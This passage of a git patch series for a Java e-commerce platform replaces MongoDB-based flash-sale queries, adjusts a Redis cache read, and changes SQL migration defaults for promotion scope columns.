cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.system.utils.OperationalJudgment; @@ -38,8 +37,8 @@ public class SeckillStoreController { @GetMapping @ApiOperation(value = "获取秒杀活动列表") - public ResultMessage> getSeckillPage(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckillPage = seckillService.getSeckillByPageFromMongo(queryParam, pageVo); + public ResultMessage> getSeckillPage(SeckillSearchParams queryParam, PageVO pageVo) { + IPage seckillPage = seckillService.pageFindAll(queryParam, pageVo); return ResultUtil.data(seckillPage); } @@ -48,14 +47,14 @@ public class SeckillStoreController { public ResultMessage> getSeckillApplyPage(SeckillSearchParams queryParam, PageVO pageVo) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - IPage seckillPage = seckillApplyService.getSeckillApplyFromMongo(queryParam, pageVo); + IPage seckillPage = seckillApplyService.getSeckillApply(queryParam, pageVo); return ResultUtil.data(seckillPage); } @GetMapping("/{seckillId}") - @ApiOperation(value = "获取秒杀活动") + @ApiOperation(value = "获取秒杀活动信息") public ResultMessage getSeckill(@PathVariable String seckillId) { - return ResultUtil.data(seckillService.getSeckillByIdFromMongo(seckillId)); + return ResultUtil.data(seckillService.getById(seckillId)); } @GetMapping("/apply/{seckillApplyId}") From ff757d215169ab3ba8301bd47461fcd22c84be96 Mon Sep 17 00:00:00 2001 From: yangkang Date: Sat, 11 Dec 2021 16:07:41 +0800 Subject: [PATCH 3/4] =?UTF-8?q?=E9=81=BF=E5=85=8Dredis=E7=BC=93=E5=AD=98?= =?UTF-8?q?=E4=BA=8C=E6=AC=A1=E8=AF=BB=E5=8F=96=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../statistics/serviceimpl/PlatformViewServiceImpl.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java index d0db1cb9..9b0e69c7 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java @@ -70,7 +70,7 @@ public class PlatformViewServiceImpl extends ServiceImpl) cache.get(CachePrefix.MEMBER_DISTRIBUTION.getPrefix()); + return (List) object; } List memberDistributionVOS = memberStatisticsService.distribution(); From 0da8f7f8f67c9f927d719197ec26fe7d492e19cc Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 13 Dec 2021 09:13:45 +0800 Subject: [PATCH 4/4] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=A7=92=E6=9D=80?= =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E6=A0=B9=E6=8D=AE=E7=8A=B6=E6=80=81=E6=9F=A5?= =?UTF-8?q?=E8=AF=A2bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 16 ++++++++-------- .../SeckillStatisticsServiceImpl.java | 9 +++++---- 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql index 9499b56a..2e47e554 100644 --- a/DB/li_promotions.sql +++ b/DB/li_promotions.sql @@ -2,25 +2,25 @@ ALTER TABLE li_coupon DROP COLUMN promotion_status; ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; -ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '范围关联的ID'; +ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_full_discount DROP COLUMN promotion_status; ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; ALTER TABLE li_pintuan DROP COLUMN promotion_status; ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_points_goods DROP COLUMN promotion_status; ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; @@ -28,11 +28,11 @@ ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; ALTER TABLE li_seckill DROP COLUMN promotion_status; ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java index f683332f..44462abc 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -2,9 +2,10 @@ package cn.lili.modules.statistics.serviceimpl; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.statistics.mapper.SeckillStatisticsMapper; import cn.lili.modules.statistics.service.SeckillStatisticsService; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; @@ -23,10 +24,10 @@ public class SeckillStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); + QueryWrapper queryWrapper = Wrappers.query(); //秒杀申请时间未超过当前时间 - queryWrapper.ge(Seckill::getApplyEndTime, cn.hutool.core.date.DateUtil.date()); - queryWrapper.eq(Seckill::getPromotionStatus, PromotionsStatusEnum.NEW.name()); + queryWrapper.ge("apply_end_time", cn.hutool.core.date.DateUtil.date()); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); return this.count(queryWrapper); }